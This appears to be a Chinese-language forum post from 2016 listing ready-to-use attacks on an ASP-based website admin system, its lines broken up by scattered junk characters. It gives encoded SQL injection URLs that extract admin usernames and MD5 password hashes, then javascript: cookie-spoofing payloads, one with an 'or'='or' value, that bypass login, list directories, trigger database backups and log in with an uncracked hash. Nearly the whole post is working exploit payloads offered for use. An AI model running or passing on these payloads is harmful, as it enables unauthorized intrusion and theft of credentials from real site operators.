一、注入. w8 ?: I4 I) L8 R% k0 \
1、news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2' Y/ ~, E( G* Q* ^7 e/ j# K
6 j4 r1 g$ G8 H/ q! b! K
2、第一步：javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1");location.href="admin_chk.asp" & B) z1 i% T4 Y/ z
第二步：请求:admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin5 n4 g3 n0 G) e6 } q) F. o
可得到用户名和MD5加密码的密码。
/ O5 p2 R+ J( P: Z, S7 V: e V
0 H; s8 g$ M7 d, G二、cookies欺骗
/ Y( H9 {" g( n. J3 G$ w
) ]& ?: H+ o, T. h/ m1、直接进后台，适用于较低版本，一般login.asp和admin_index.asp在同一目录下的版本有此漏洞.
# G* l6 a% J k l: z2 Yjavascript:alert(document.cookie="adminuser="+escape("'or'='or'"));alert(document.cookie="adminpass="+escape("'or'='or'"));alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"0 L) ]& Q) g+ z+ ]# R1 P7 o5 g5 k
, S9 m# S0 P# y3 ]- D2 D' _% A
2、列目录. 5 c8 P d. u' N2 H1 K4 L) |
javascript:alert(document.cookie="admindj="+escape("1"));location.href="edit/admin_uploadfile.asp?dir=.."
7 m0 _7 ^( x" [0 Z. [, b k+ o( T
3、数据库备份(适用性好像比较低.) B; C4 l0 z' \' y
javascript:alert(document.cookie="admindj="+escape("1"));location.href="admin_db_backup.asp?action=backupdata"
2 ^$ O: H# I' E" m0 T$ l1 p9 H
4、得到MD5密码解不了密进后台方法' X3 o' V2 ^5 s3 P5 E0 m7 ]
javascript:alert(document.cookie="adminuser="+escape("用户名")); alert(document.cookie="adminpass="+escape("md5密码")); alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"' h2 E. x5 Q; C: g7 x7 Q |$ e
|
发表于 2016-5-11 14:55:08
收藏
支持
反对